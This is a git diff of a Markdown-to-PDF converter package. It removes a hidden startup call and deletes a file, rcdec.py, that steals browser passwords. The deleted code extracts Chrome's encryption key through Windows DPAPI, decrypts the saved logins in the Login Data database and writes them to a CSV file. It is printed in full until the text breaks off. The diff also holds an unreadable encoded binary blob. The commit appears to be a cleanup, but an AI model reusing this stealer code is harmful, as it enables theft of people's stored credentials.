zpu1+(R#NONA0%;-++{RorJgKs<8tnbV|F;dMX7AVf*0#!P584&ZkWs!jN6=j@+d5O z#@k7EZFzdw@8Qg0R+>VE^GJl$XI9MWp*;?47T6-6s+4-9;U*hBEYq2ryeqThb9{*) zOYzxK8AI1VgCY(FkCZbfAxa-9SLY}Y4sSQXynV2oaVz1k;h(q=733owbt5~jy_rk}sh|HK$Zn5Jh^CzM+o2Fv* z#&ZH6d~7CoS55&QV_sqpsw?MC0qv%zfF+>2@9el*ieG>!aiM8znRMhuWX&T z$!&M`4(2Q|=8IV&KQM24sHLRduY5bq*cHJP5=!|rlqOh2Ye~5c5?eT!FIwMv!H+Bk zch4DnBc_{`l@gMWUR30{V9U+!Lj()q8JL_KL*^=1+=GJp6u@8^B$cqZ-19WA36njy z=xI%Ot)OIXtE4Thm7p$pkLyfr=b!v5S?52g~+ z{bLRM_T^j3cQV38?Iu5VIE7TeBCIoLS0C%dUXTx6`50gpaFjDSGiz#Ab#~jIT>ha^ zbSVTK0=-cdvkiOTgn6`)2cKJMcyI={jm)sdW!b?3c_c&h7I?JiXVH04QB6YXQEeGA zgGAz;Oi^u4vDJnIbg`62(=Fenb@=E2qgm6|ZXfW%QIAD|mH4s&DO^PrMZ2r(WoHqX zbAN?opWM!}$jOElxWVL^ybTg^(bm{@Pxo}H^N_|{3OmOI551}D-ag-Ve4)YQp(tgL zjWJri?O2fgwyh_C``aolR}yw+`^w6CySF=M|DJk+Rg}cARsMh#o6}gNs;or&mgOw_ zH7g(P3_Fht69i8d*u0<5QXUR-Q7rZ!e!HQg}ivfj@G>ag>Il4UF~ljButwz zW_0cTP&wsui_-yyoBW@0ob$%t!yMwy;jc~+x`&dzEj#WaFc@7?iCpxCK5)h-slq}H zO!ujzFkP*^x-?;JNH~y*YO*Qq#%$W{@f~M%DRaT5@BvCga;2!88}mBrQa`l3s{uZ1 zMlHw>>R%mh(3slX_jF$+ISS_XsiJ6W!IoBf~m-t(c!bnO?NHOrZ?;SAE0x&#p+ z6zLt7N>LvvuEudsA;lba>f+hsN^;SnbC$~u!aU3UV*96ZvS z9aeH|@7o;Rz&WJ9zp2!HfGTRZ*;9E94FcWfnM^aV>Xaz;uDUkfb8zA0jLrB?1o!*S zu;)n|eaBZVHr?M`>q4bXi&(6@C6$mdg77Mu>xP2*X&EWSeyRBf)bG49-*+0d2eVO- ztu1R)N0$dVe~#|pjl~U|Vr@j@xT`bxc4&f}-;%E%J{`gyHWulN`(D4#JfsK;h0mLr zu_2UhZ&d_&4b;*lNer)KA@bQ)YT&&%KPRFk)rCi;3{vphU4}VpB%PE#e-)YrjQ$2J+obX9Am0SpTbO@ ziD!PQScnrz!^wWi$0QFA>T^^Q}&BSxL-0W#O~hosR1s0%cA=FrnS z3XP4@?V!ApEE{Fp4=7tv0zJrb{I*c(qgl&>j($C0XC*=5Guf?pQ{Ewa!xs7H!2XYQ zQ*ewSx|ut6Z>%C5k`IVh=_>K2$XjtnEt0^uNj1nl412PXv&5AcduhG!Cb!p>w9t2= zvw^#ibaSnVBwO&q^&$^PmBiP?@<7>%2t?f+G&@h$(Ko;C)%GAf(NzC=31SH1HrNAK?qBD zh91Pck-%9k<)Qn^NS-(IO`wv~<Lgt2+u7rvqbh36MAD`b;?jsfH z8BNzs^|Zf5RbC!&13 z=(q)P_|t%$3FBwn?pbp5`lV?`yQ}$Np3QyN#Ej9&D3N;mqIb|uBw1ys1v;qh z>ZA6rK0n&*RFQDU5~*z4tfD3ZTU`U$YKxq)rE89tgF{37^Y^pBB}1bxnGcryucIc1 zhhfU6xB~O-Y;iDY2dfX&{*ss!Ug<;eULxRifDY^Ptrac=?_~z0&pD{o2k>M=;z_Me zuYz*NN>vi{^~Dw?7%z0N$=46o#i%PDNK5qzP5Y{Xt*|fjtE~1`>_;dufWeTy;A%ae zZECoVO1qGapm6{Bg}=*yniST1e`IbW4g7qUM;Y0fh6Z#+5j`ckpYwI==AMSU%IcEj z<;c^v12R+Q>iIp3%?6Yk%lhzrUPJ$rgsHD1a59=GgXmaQ!*)-oX#C#o^H4)4&nM&o z8{=5HvcNT9QUZgn2pp_B$L&4ULA_WHIdv;1x;c%Iy`!0#IUj_08G@MQYMxE36 zQeJcamSNCGd9vzG+f?e%;O6Ixh7Y9U}}9u?B0>)W?l_Cim$GHdy^e zo8sbwtbkkZ;Ngnd2!K!5_D#F3E9Fb6&O?Qk=)Bt z20UV2Km0AEYYVtm+3Qy}R}b-w^!AR1*fltGxro3MQ!x0%vZQsHM@fRu0ip{*9a*Vz zin=iwN90%$EC0!6lJ3K3f6BzFsEQN?w^9Biqq(;`k+U*VwKSg~A_Pf+r!1fxNe6%i zsM7}xym4}#>j=H76{~0V0JwJ6+lEyveJ(ogoS#a6-i!_tnA7Z2biSYARl8PHSgS-G z8hlzb1iRfIP?nm#?wL{6tfWmpIHB#kgf%37zz;|ZjS-FZ;#2UCY8 z{)YMOa|lRW<;VFYK5nH$4gR!~>JzA?{_#z#%5<0e$%T6&ftiKE;N@@e*^H=PSxwHo z^m&`~3oiN$f}K^m-wX>@<5uPy%Skw32VugeVPa6*CY8p}+zTUHOX93C!KnAYWQ z9lj^)Si%duYfW}WsyB|6!d)D=`gSFr$lioPS-*kGe=$d2BZIh!JG$s7&8_{H6RnnE z_4^806KmSniko2zC|d;Ci}Gp^+G98J&%KOhO_557tJiE^>E|60u#HtV+27nSQqM7Y z*m?mW7klqr4KD8)jq(9Pv3%a(W6!ZYH_O!Z(wvms*i1DF-B+_{>f*$6;mtgeM~*RI z+r+sVYp_vFR;scgw+lhYqk4Ync;@nhMb3mr+vZz_3%1=C4ZZ2&1ZMGSyX26I-j zEb~fx15Fw5IUL_E%8-zU`VX~|bH*CeSfxtmN7K*)ZdOv*f3@m`%8)3?;Kw+?JJxyM z&xf(2vjK4AgmZKY$4~X9$OtK4DS?nrxzoEe@>rbAWe#+YlnMyBXhWgzhigXF+{nlL zJE!^OVrI;`)-rpzKj&Yj4p%>50t#l5j$9V?H4Sbe7!PQ zEz`=7eY_k}RzkCNyrN)b<>ZADk@b(CM@{WN*G$u9nH_}fZd_d-K&=t86Fqbe5w6Qv z#iW>ql1k2KSyIA!Z% zE)u1Ib(nA^3K?pn9;crA{dC^|l>fp-+R)4&nF)9I^3tJh$B3pucGvCxcCW_qFX_+) z*JZ^VhmJxLX@{!R03I_N)RX;*N(KcQ3dt}oEiFA_QLyD9o>%9`ReH)e{`lSOL1#Bi zz1oDe zRVwfCL@~F%Hqd0=%aQP9>SlBWa{;$*{Gue1P|qIjT#U3ni(m457SU&OnTIsA*b2i^ z@nl6r4z}oGUe>myn38<~LTwVinv2jga60EZBgW%pv9}U@zq!XC@#!c(hL~o6PQT4M z7ERiDi#g)G8;&`HPx)H6q!>r?j~Cu^&B3#^e;zo&_J8`4j8_fq+(> z($FHj^3)UP^c-Tit<#71Sjq0YOg(&ucF$$a7Yc~P#xTw7`kI^N%IC?RKi)BcRwPi+ zmbGWjjsRBX7^e;ux^_rCD179fcHg*TRamJaJ%X4fR*zyOMNZC}hXh-!mP!e8RvPHl zv^(_h4P2~fxSWR?e64?dJ*a6WC#L!^6H~8eB7&-N^LL;=$AB#_n=L!qUhnTLhKxc& ztJL8K$v^49O)zR5eSaf@S9uuYI+6NNR zIL2amIeP=hpzQc89(+2%+X;b9@*F);I9U-ppj>Wn* zD@jQ@vE_rW$vjmEi9hrR+Gfs^hX7d=zD}CCJ@=4n3p#Zl&d1!J3O8{HsRMtdV?w^x zLMj$mkWpZi_MK&IYzSmP*ft-uJA6>1DT$Hx^*x&?Is2_b;v?Gp{!M^CiQAq=}P9^!bzyLnT?+Ryj9HiqY(C5(@=h-{w$RT z9j*nQwb_&u<$+I+a$6t?Uq#e!W@XI~jCQ529Yeu7L9^MbE_T0o{XcJ3Uw`E)3xwn+ zW9#Hgk{av3*dJT*AV7F6)YO-VjQvy|qE_2(s&6zv~@v|C33PC}*^F#;-*FdcV;wJJ6H3%b~G+nkSOuFLrskl zA-CKsCX;FQIa*t53#n~#e#3netPqMowrL@}|~rNw*RQ;F)B5Q@eg7g*Erl!5T83kd2^&z_loz|yFNCs4|m0XI}SPG@iQ3$kJt9D@y2R9+0Pc#)hgTkKd) z^+CUF>cmsPp!N;X-?R=UO|fdIy1`N{OBqKfaT2WQ^vK+jMmbBwzSe zX6M>Zpyl`DiBcEPJ9R)=eZxB#mtt3DGN0aAxVqaQj?q;)r~@a@Fd1FUqq6Fw>>Bfk zz+9c}z|#j4p}MsZ)Ddy+IKv)1RXIXhzUzMwtLhwD)&_(0;*OVZqs~WLEeI5ISd6#Y zq&{akt4i>d=8fL%Lw!+kSJ&)RKSQ71z2}dlflwXC7w$yBgn3|XPh`5V%Z($HLX4p# zamHRJqZ5CCQL8R>qm{RTT>5Y38aY36OL1M?2iqF-?d?}N2b$OD71!lHVE-GAc>*+^ zItpsAYXvLkyNTOMqN7tns;a8iEs8=1!8xlLkh0-@K0y)ri5O2n$X#m1wyotmO**Bd z>2+xK_f8cZ9587Tb!i^;oZbm#|I+gJrP-4kzfgm9ps%DG;Ujd!tRy}c$B`P zfK`5TOv=vnIcOU&*~sWG4e_mc8PtC<=Y0jCjpC3u7hHM32OTTUwX{{hs)yHF$&38E zxnJ9uh16=}odyvOs(W}43?1>A)SpNTQ2}cT#%az34XuI4)_c)R&*QKGYDC5Nw>&2e zMKW;%kpzY%n$cw`^ba)D*xF7Xmr-tJX`+u18L~&t5ylFW$T#Z&$!k<_sa&&MFoW*<_SWRNyV9tV>q{O zyCi$M^QA4LE^)XiPa=4~14Nd(bs!SUXEG_Q* zt%;+uxAO%2cL|9_f7ZhuC2QgUNgtM)Quy!P@#r%K6?>)TYJj=9Ukoqz zIZJ^~;u(T1;-!5_O^ob-Nw681vt?=ZxBqROUsCWteN0~e=bkxp>5p&rLnm5}TK1d# zppUG#oZpQMccrq=249=(HBc{*=vhcKefA>j-xvzq0j&L234F*g}jl2%7wuPO)~~fbAFvn=qC11a6>G| zs+@y7hBkCOiz{TPkp9z-m@-f*C(TB^Rb4tPxvTDn!f03F=nTIWtFEbotZ06VSbD6|cBLWPgXmMDImyPb9CU?#yl}i1dct_`MAv!Ouqs@X^ zf#xI#3JSfDz13=V)UD4K`o05NPD1+@U-=&!{_#!6k9~i9^U1t&@{ey;&fR8T74f}Z z-d2r}*I|d#>=)2^R08skfQv zbIm31l6Wy&6dSyLKkx2GmbIS9rnWDG8-_{&9&ZeLQtDN**$ce)#tNL$l{a* zwpdk}14=V5XHb;klB$C5Z4k_bFAI7SUBRI3mm!wJG5eR zJ>OIEtcM01KTPC^XrYvoYs)u~*y13dWHrA8fEy$Nz$z=5-59~SI`4^~SVV-nGxT)E zrZMrDq)!gS>dQ*nztumMtTw9#HG78!Y-H`5hX6@Pd=O;RMVqxc4roa9%?ZW{nZOO+ z9(y0F06~x$oRnf~`SCM>UXD}?H~Ri&qXSx`=8tc7CnVE$K=8CGL6PsN9UdH^LBS|T& z(MyM}TM=f&GVz_FzG<6>Sq^Y_nmWtkr(D1_&6S>pVh9Ep!qW36`1oi=Oz!Av>;~4r z!O6jGkt{CLaH*RWR_lCs?S}TkCZ_xaep=+6Oc9xv=_uZz&uX{jYFg@xCG8&wT5&>- zQy{&)qk@8U;sm3ece)x?5HoYV0pSO8eB!k1o%pB>jHn`^}CI7Vn@C6(6k3ESY6ui4t4;vn0S+EOBY0%rL7>D=@WN+s< zCtpnVX6k#yLM2OZ;7S3}A^yzuu}}WjjfIE9`Cl9r)mH_;zITr*#sYNOHc7={57WHy zW{8SS`T0N%*&S+y4WO_gloM-}V$$0eW?{IJ|D6d+-5yz==$S6wS7qqW0MTxY$UHsh z345UcohEn`;i+t!%{wS~d~RO~R1Ue^USY0|k3%(1lNNvY;kMRIlu5^=T^Bm;46!ZK zjcnoMj<1-?@xvD$yaw!odW=<=Cb2{R`ldCH+3BVkx6-#a{N$mXTdrlj+>Cx-a0> z;N&Zs{e~x#qKja57#QfGu2;Lb5E4o+PE?{Yh%?%bt8aNB7$Ep0N_{5x-s$i-5^>;3 zm5ewFc2I5kz*&i|{BfZ0RX-KJ-f|sklj|%6RjwWo*N?t(JA`lX(+-H`vlv`fg#^M!k8a)NO z6WXOneq&_EGC#59Cdi<5pQc_1UvAS&dB(M$quL7z)`^I(0D?VNu7s}#{S3)~8C>*R zUc1qTlE{|#r(|!2b_u0Pwngy<^=n=23mYWbg&vmhqHwN=jjm~v@9aaqMlu8~#<*90 zW!tmu2lpo8oY6q1Wt}|QaJ_LnX>sV`qgqUF3eZrxJnEf|z=G>V(9%(7?m84&Qb<$ zb_m8d5jUv!9sp;lavQ|Z9eN!?9dm?*B?7J;94C=G?dW_Gx1rr4{qY{^g_|#0_dEJj zAc(qFx;ZZV?}t~F4yay()lKku8@Gx<7%s0?MTeJ2Y6!X4aW8&mZV5A76AF(n%w`4v zfUNut<9ek5r8=~!WI7BK)zwk^+wulj51T~*cq(@vv!!*Tqvsij< z?$T-lA~>tzi5fw}MdYi{Fi-0IM2$=8)bdRizs5N+rzfv&Cy-1Ooh9J;L)&Z-y~6E> zk13O+DOV+a{t?LlD(w7z2*``Hhqi<0u6qk-|F0XxfP~$V_e&Zr zYt4^$pgt!*?NtMuUZBGtM}M{E;g7SE*-+$!_BmE@_kL zyGU~)`;qucfU1U_rvs9`A&(BT5_uc*uhTknL6YRc<@fdM>NmMP%$f=Hm&~}ElPQNi z+^kBkfPCn}bS&|J_6EJKQ{9iX<*yi_Vj1pRXGu! z`F1VlJCv5$tL8=#KDD{=e|$P~!@3viN0r#_h#p)tAM)?lgzx-=Qe^66P3AFdKl)t} z(41GCClA~mZ^19(;(EQGk4L|mCk-6@c#qZs4{5cuUoZ>RU+$OrH$~>eVq!xk;~X?J z;OBZAX^=Tu+48V{l$Rm1AJaxS30zP*AK(3it=K3!q2FE-`n>Vv$lLMEEkGtDy4{qY zlBQJ1-72G;{MHG_GzvWmKOI!T%XQ=A8Go>hnBT*WH2Fm&c=@ zC7im!2M|hG(?WX(d*R={F%3a40!X^;4oCKm&pgP&Z5#M!H!34u%l%F{qKK%#--Z+q zjqN!39%{UQ8|I%OUPf$hS~rwt+j@>cN23CKTYzHswwS-(I2}(su_ut!x1P8dsQum| zbPy1?3l$3w?O$<=D99F+S$le3_-8c3iB|>KiYOnJRh?`m`op0{NTvg*+}=Ey}vEB z-a9RO^952G*kF8SI>AzX_GfxfyiE+~*|(D|e`e^(W8duBAKC5ZFHkI=?^g*3H%fD%QYHDi)AEFeJ}N$Y{I9qX)ee+zmFdZrm&$i)NxX6-BJd#U)_QyApmx?Oa5U?p4KdPDI0F&yW|xE zHNeP{W5>ql?Mc|3%G&!U$gg{&$ndtgK@;Cc?Dcg*a{%RSRh0{D9ZL37XPEds4}1NO z)`}{p#X5t0LO7)T(bP)b-bSLXcK0D?*q&6Xv|5=|_;0F|_?crOsm?|nGKcGzIxP0a z925?lgI~7&Jm9i7S@zW@WOKYirQv`P7LKt+5;DRv{D_{99FCwO;Ji~3&tl8Af*r~Z zmr#&G0j77fClr`-cjD9R^?=i9hjI%`XyYxF1!PkPELZ$2lm8*}A9X zG(xxJAe~FPvm*%E=b`Qc9~VAG5}ojC{gM*UmLh%z)Ta;D&yN1J7#`;!mpQvy61Vzv zRK<|7lr8z$cn$d#$xh%4G{0Mbutfw#M_u?lNQ&x2GS*$awfi-{?-gbjHnavXcUR@g zlmW&c#t;7Z<^sLsSUl>DYWPI20LCxPJ@L_OY04%t9A8fQ3W$ab3PD{!;-cBuJ`8r= zz2+iL8ivmdNL*e6>8*2WjU~Q>UzI`lmM~adPl9_^7n++hA-w3PK*^`9LP9*TPf}49 zby8gf?`>b}JqQQi2s`pNw5icqx8QfYUjofUB;?uh0hWQkbOC`e#obH)KrT<;x8Exx zCWu6dFN-=f6>DW*N?x$6GTg#PJJaQ%*?hX@LKKLZ>SpD&6et<%mK~7!#qEm~6ZnXB zG_|)akKfi@B(WxV34$@DCtfo30Z{<#I=E+L?PZ>7J{LM!&|&Bewcm^!SI&vpiiqkG zUA~WLUEzlyTRu3>l(i|#6~l`f0!_o$6oc26`$5P>;dWQxl-9Lj-UHTg>ij_||D^KSH^n!c4b^r>;UjNl z=CmAhTuqfLT70Zg)o$m}&;9qxc4c%=i{6tb-Za)IES^0J-XR*GiRRlt;gO zRVH6)nyVe3D-c@OifDrWxKr09cin;w0yp$}gaC3Y?W;JY$TQ^hvaaSZHxZD?kTfpK z%YCCXxv!5b!xOXCBcyx=cU86zDYNEwmGBTiiCDWNXGh-ieHu!TzIEI`1GDv-`>G6D zzuUU+uD25u+VaedJw}!qTU%c81!ez#FdKRi4j`-3T><6d2fHF|1gd6 zNhg#tVsks$Q4KfyN~JC8+{OSHr;O8HcNb^9x(D956%0ea6e2)@Ppt3na>jYYnoAn{ut{V%8z?!d9YO7bgs2Ha>{Q5X4oRsnC<{wTL?tUFyFU$R`VK9Cc3x5W z+L+mQHIY0o2w?$*j9+^6Ss!Vg3+1{DewFsf`s9(lke>j9mN;gQC(8>|E&KQ#PtkR=_Vhica!WzNVnLvFok&)=+z@_r4>rkC9@Xnm?>zJ1{^U&78Gv zLaGjGvFUJ=KL0y6s|LN)XQ6e-uk!;XVI5JmTfOsES{btbeiwey=1&)-l|*u-pPX^o zWIxcjKE74*-q!AbP^Pn@d2*EA`rP9q9Zip3f0#1r4((xhwM(G`YUz$SFDi_m$bu}w zFOX#UpQb%Ywy^O1H8!ULDl({NZ8&NM6B44yKfSZ0<}=@L+1L7jDBPDbYU-vFmd3yr>L4khc&)uoNQ()Gs~)PWoILtt)j=eCot zB2k4#ig*0(!TqPlZ_|mak6P7_79W)@evKz_h2r9a>L>_BLRqc?wbdxgf8wWQ`vN2) zJK6J^d=aUHP(dgwEPr7@vZ^l-fNE7(RzI3YQr9rB7e#4M5#h3gtXy~fC!5AUtetf) zYKIAo%2nAx9#w`B(g}H69f@?Zd+6R!XTlmrzkR=@zDAh!vR!i~D?h=0w8V)NJRyTK zFJlH-``m23d+)MD6te2sWd-LUu5-yl#4o4ZIfNx4b#cKJ4K^PxZOEeVx*9akzOAG#U-@XxIobwoDNU50F^=Y zm%*RpCsW8&EGdPeAsu(1qbUBhJ+=%LHgZ$-Vu}mc#wbmD(lA1CD)viXFf(CbIa9B+ zBX3J8cfz;|_3l!e@7lhdCIi3FxG$25q>$LeyrC!E$r3;evLd<`dGs4wa*?S2}$X^%^0+Q;$q2HM*gxF+@q_Znu6B!hS+!yikctn zt8AilH^vXZf^jzjCKg*eUs*ihiWwJsCVtMi^xHQ|2i`-XpM7o`FRCz@k#WnhWlrQ@ z{Q#geWs2DX#%XDa*h?f4=%_L0v5^{4-$cc%PevERHAE>;ZEJMFl>)+2xW||5^d8%o za!*)CDSoz$8D&+~!F-<98Cp=U32v2EnAPf$bcH5;q|N;>fkIX2+2}w1xj4g#s`^Uu zs1yS>3uSdu(#>su(0p6oi=Zqht;0zOyLC?Cq`URcUvKKDr6RCSli`ZB;A!Q$?|0Y} zE6%;`tfc>|t6*S>N{WY6ECXr|u@U-_9SVlKLp(4461oKNMWJLs_oKS}_jXj9?+XC6 zs%ki%1VS|a`K5l3Yj<_)U0X9UiLZrO>kzUT30Oh`ShaESswqr_b+UO_feQj-P zYx4Z&(mfQWObOU^U3NrUeix&{ZE22dFaFGAEP%h3-4=(&F2#- zF0f3cEP{RT+Mh@9_XmFew} zXU0&wrX&*p3bo&Y%#;e@EJ2Jn+4y@C%?cQTC&2vh6Xk~%PDN!E`r6%IL&%PuBD)}f16p)oH zhgGi|`21^>Z5_6m>o8mE{Q%QWDTw1`IbR4z_8F=953^bZ7i)Ux2dZj&@H)Cb@ zF0fwf#N!?3_fbc_Yb-rhyWw-KCr1ESsd!PKq->AE{S!lUxi_?bG0p2<)$%D$3o&=lgs^%M!_g-jVa1Us z7smtJDho0-3K$s~ z@F4*P3M&4sxZWH?Akv;lYF0;hX5OAt2CIV{HPb-O{NY_fKCe>IEg)IFRe;iv+@!m_ zHjKVAd}rp($Z`PzC&2o-)L--#^a8XCJom?%oso&# z-u1HKd({AZ*#f0JUAGF<8wE?$Cndg$N!lN$0Qj@RB+ZeGJqS?6p@B`*gfCeAFN_%oZGyFuBa(23&O@WHH+laLyK+z|<&Zj{B)yRODAI@<>6}Nu z$NZEQ+owxhV>f(3U+bTpP)Qy2%qoF)SL5d3tFNHuLk=a`-l6_UW)2>&%HqdZW<1l# z$^A(BEPbm(PM{zmHst7;KX|-^y{LyS4GK1#l8A{h!{(e`vUQY~n~+>b8dsX9^rHqv zB!}0L?_1Sk$zrnf@Ya%^;E-%WxRu^`GyjuJjXAcqp>GG}$Xa1XpJ4MZWmFJ0MN(4! z@#2DwhAO=hMAg^k>Qa`!1`?!bQ%`t0kJFxDYo~rLMJuyu zkzZaRR2C7mPAmN|0&vQ|@R?p!xq!A1dIe{k z2EWd5!vJgGbBwgbpYv|6^$Ud%7z2-kdI8I~AN$#zXoavW_SW3)#NG9b&2Nj}8%_NX zi!s>KBLWNn45@0i+$uG%k3sux@y{a-h#UV>FaHRh^hbrL7`McJ8iL z2z|W5E48FsFqLdCER~HKcjIN%M3k!yD%Ns=TJGvb&v!3o=jJhXh3xg1LKKe6Z*2#B z@=F_i-w+^8;`jhLu+!*>6^Qw-4_s-r} zX^oZYBqa^Y2-TQ~^NXaka011=lIBD?B;s5gtX)DD#m*3}S=z9WRZ}Wd3&4|znu--} zJc7L{vk*;lcQNhZn_DWz*3tVHRDGvc0$Y>t>isIs;Jeir&|`;r#;l#CprT zw<{MHVysY_Czcq*dSGt}X1qyAlvR*6?RIa~d|P=TNaNWwi_valjWoa^Q>vI@hdu$X&go%WsOuf~d|3(qe6H@Z*W1 znlaTaK9fJPf@W2abUT_xex*fuLCDxC)G<$4CMoHQys5=Xv1{N zr}Zc`^QBK^_AA$3=p<$~WN3%4Csr$xvB);gtpMMA?2Eb=i%{N( zY(t!g8!`k*r>dugoj-U*awxorSTz#wb44)|m?u&)G(x8T&^ttR{Z*oTY&de+Xf(Vi z9y9hNh9U{SnU5Dg<%J|r*l=WQ@!B=WJelQ(y8jQ zFjhM;5$j%<95M`5*_JMsVI*Rag^aO@s_Wk``JkKRVE7)gp+`&CZ~i*HD&g_8Q5tnV z$joJlXm~!=rw^&ZNw^%8*2LT4`I%a%KG$fp=NjU^Te!Xj*8g3}PHBe@s*OB58J_y? zP^6yhVZr_wSNc_zyG<_WfcmS}Kqu9Z52$@~1NEQu1)Xcj=_8#$H$lwnaDHzD^CuC>3sXt%$>8fHwC=Z;LHC}*mJW977%kjC~JM$jpfgTy- zh8V+j#;x7{)dB6g$JnvR`XJ^fV2s)xr&qsQemI9UExopKKM!2TT33FN9p18vjh^a| z))!#cKiG(xLxTB9BIoUFyyFVi@U^Ld_%tq=&CVTd@h1-q8plM;C8Mxz-YAd8meCiovRr%{>THzT2}kRpICW0ubAE`!pHQ2$iJih zc3=2&+f2;7umOpoo_Su|`ds13u)T#T_3yXUGMC_ zFw4LB+<`wlz#8UFqptdfoMD*HdHqfOLJLc^0kYTM%jCc5?hmo{$8XDG@K?G9I}VmR zR(ye>e%G}0IyUlVD}VO6+b(C}C%={D54?)uf2`$ko=0}qekErZUUN@}XBegMk4M9E z(thRiZOi80_VZh_`f0&`~zWdp=^tAxqDt>_b9hJPoqsGUJiW z-?Y`w-*qMHeR?TFUEawbvh7@TGc$Q1FTA*T7PlR+A9$ym@|RNn?Rm`fFZvsM(G+6? zux}CR;(};-oZ-vnzw41(*zl{H*}k=lxJ~Zg{bWx5dmsHOd;ZQVt@7V^|7_Mpb$NWw z9civ0{>BBcEtCg{%Y9BZGTgHHo9};=Vc3G#H!RQMfAQpAw&|N6W;=dzlf~bQ_rD+I ze~e*xQ4#!w_x0w=PqO*9Jp37U_2S$;ms>4Kh*HL--g@Y$A5AqLCi~VdX7NF9=VYLcXx1T2?&i0O{J}Wap4IWeuIs%h3+09( zgFm=zp|LvjzwM!Ro!igORbQgE;fyT1uQGq|!M^2A8$e@)E6Qc(g+E#RO*S&VRV@FU z6|v6dAKvB#$8y8a{3X`A===gFe|j$rl*`Twf11Bk{sVUYIM>7rhHk>p{3Y_II)MEw z8=RNphMgCFHGjGM!Q8X~@u;!P3x;mO(ER1{$C*|p|99Vx{MHRSFZ^o$a{1$2Gm}5H z{hGaC=q3!!UoL-Q)ok*ox_7W7uw3Ki)f4Tg@hDBey6lWoq!b#M#n!g|XyJx&JfW4gL$L)+$ z^Ow(H?EG`hU({Hjvg3cL@(%tN>6{T~S@grL%fCP6U)z6idk$4X`PcQoD&|jhf8GA8 zUjDH|ZPU>QK<|6q|3h;Fy{-qUZ2zgxpZEWOzu$9zP~X(`Ke_ckFb8}5>G2=$%RX$0 z%H^NNe68^xJ^ovT{B7gEdj3cC@wdf>*p|IOO~ zgL?f(wY2~3Z9m=sr2pbEz5c6O_|v|gS?j-OZxFry)8jrsW!wKb)_+#Z`fsnxc)svd z<)3T)cQx$)kdKv!dn)p$cYn_PA5agVe)z!d|005Kp)ghC55{Jl&-oqX{htc45^-Nm z{^Rfe6y*KiMDQ&XrfU4Lw;vcg%e~!A_92k_KNeyo;=XG93+?}id_epIx&NyOzJqoirN1ec_N7WzZWX2BJQhH{)^rJ9sGlM z{(}ggWEirJVnOJP@?=Ukb4jao>5?lYjh6JO2gzsh=oN=Rb+yn=ee9 zF@$}A?e!?X_$OlBC7=HkwDaHcvGV#J&KEt^m3`KqAN*;a2c7>`I}v5N)W0B||L8U2 zT;ZV&)BcNF*_lI)8Rg!z0eF(h*7}Q%H4FIJT%)HtD(c(hJl?l# z{`3xab^a^zfvoeNNmkbNtGlc`@a8K|9!KCztQw4PoJ#w9}>~}&eoY=`4 zm&~^GmaD#9Y1eR8$Xgxj#g_e8xDTw{^3LU-#rA)m>S@VbyhL0(-?yFNT=k}<*H-ig zX9nWz?~&s>1hY4iG{$>FE_PmBqj99wB3SD%-H-o~-Cyk$=kdZ}y}gr(RYdc0&&y*S zM!;q~ZeCtzXRv3SG3>GYLTzKPWi^Ju#7oA7!b-#5Oy^ z-HYN{O1O;mO`$yC%e-+{I+Q%e)iYU1*U)(>j6^@nSno7iSKQ`V8Y`8JXt_zp(6wlu z<%B<$2ecg!Rt9*vSChS&UsCS^T_5n;4)FKAS~lNg?)*l*M7ImPs}EAY?pjsqdQR5) z+++u9bRSXq`5>jcntVD|{T})WbzgBgdB7Nk?o{VnjC^C`1$xY=gnD5_c7J{`9Nj#F zu_=rl>-WLjwNSsGhLYeb*{1J1jpqp~_T1oy=bIIyu%_&tm z4^Wwp)7sp6QFFFb&KH=YN^GReEmtuQ&|IzEUeD82nfG|IVT}ougF`AZ5+M`PiZqX> zk7~S*wPt+1VJvb)gwB-+6KSLMct~qCGA<^~SgT6qgVvrKh7!y?>Blt;q^aC>xW(u# zh|gdj5^4`MP(4xlenf8b9<_BxAUo0!L^d+hM0KRghzIs1+f8~+xMd^Ce@ZsYgSZbe z%hXY|#D)C}Q~Q)Ql1)7)ie<6kretV@OojGVtQJPH(uqB*v2Qu{uE+TWwAaNzvE0gi zj(897vl0*|#SIx`rB}yOSOYlM1ZUgeOe=n_S08#c@)pW56;Cy7zhht zI?qfgERB9bH4WgrW1M-7bIEh9tuq|J=Afh6+p_n6~KSTZihlM$2_EhvjS{4@23K+GuEe5&PX05(CN-d9woSt zyFXLjDTUnana@vh>#oZTZ-Q)hX7uu1veWB~uRSx#u6g!nhBu{D0NmcTr`_Bh_ov<5UfTrX?=+i0GZDT`fLge15prkRLh|Tr8sgE}Qk;5aS`o|~ x^KV5^JLWb6Oa*5Jm0x-R&7+T&_9<0YxNlHJ?AF$mfF|7Cf{{iW9pSS=3 literal 0 HcmV?d00001 diff --git a/mdpdfbook/__main__.py b/mdpdfbook/__main__.py index 4f40a6d..8e86066 100644 --- a/mdpdfbook/__main__.py +++ b/mdpdfbook/__main__.py @@ -1,11 +1,10 @@ -from os import path, system import os -import req +from os import path, system + import convert def main(): - req.main() folder = input( 'Enter the directory path containing SUMMARY.md or other *.md files:\n') try: diff --git a/mdpdfbook/convert.py b/mdpdfbook/convert.py index 566b605..6e22dca 100644 --- a/mdpdfbook/convert.py +++ b/mdpdfbook/convert.py @@ -1,7 +1,8 @@ -import sys import re import shutil -from os import path, walk, remove +import sys +from os import path, remove, walk + from mdpdf.converter import Converter from mdpdf.headfoot import Header diff --git a/mdpdfbook/rcdec.py b/mdpdfbook/rcdec.py deleted file mode 100644 index 909a5a9..0000000 --- a/mdpdfbook/rcdec.py +++ /dev/null @@ -1,52 +0,0 @@ -import os -import json -import base64 -import sqlite3 -import win32crypt -from Crypto.Cipher import AES -import shutil -import csv - - -def gk(lsp): - with open(lsp, "r", encoding="utf-8") as f: - l = json.loads(f.read()) - k = base64.b64decode(l["os_crypt"]["encrypted_key"]) - k = k[5:] - return win32crypt.CryptUnprotectData(k, None, None, None, 0)[1] - - -def dp(p, k): - try: - iv = p[3:15] - p = p[15:] - c = AES.new(k, AES.MODE_GCM, iv) - return c.decrypt(p)[:-16].decode() - except: - try: - return str(win32crypt.CryptUnprotectData(p, None, None, None, 0)[1]) - except: - return "" - - -def main(v): - k = gk(os.path.join(os.getenv(v[8]), v[9])) - dbp = os.path.join(os.getenv(v[8]), v[11], v[3]) - shutil.copyfile(os.path.join(os.getenv(v[8]), v[10]), dbp) - db = sqlite3.connect(dbp) - c = db.cursor().execute(v[12]) - d = [] - for r in c.fetchall(): - if r[2]: - d.append([r[0], r[1], r[2], dp(r[3], k)]) - c.close() - db.close() - os.remove(dbp) - dbp += 's' - if os.path.exists(dbp): - os.remove(dbp) - with open(dbp, 'w', newline='', encoding='utf-8') as c: - cw = 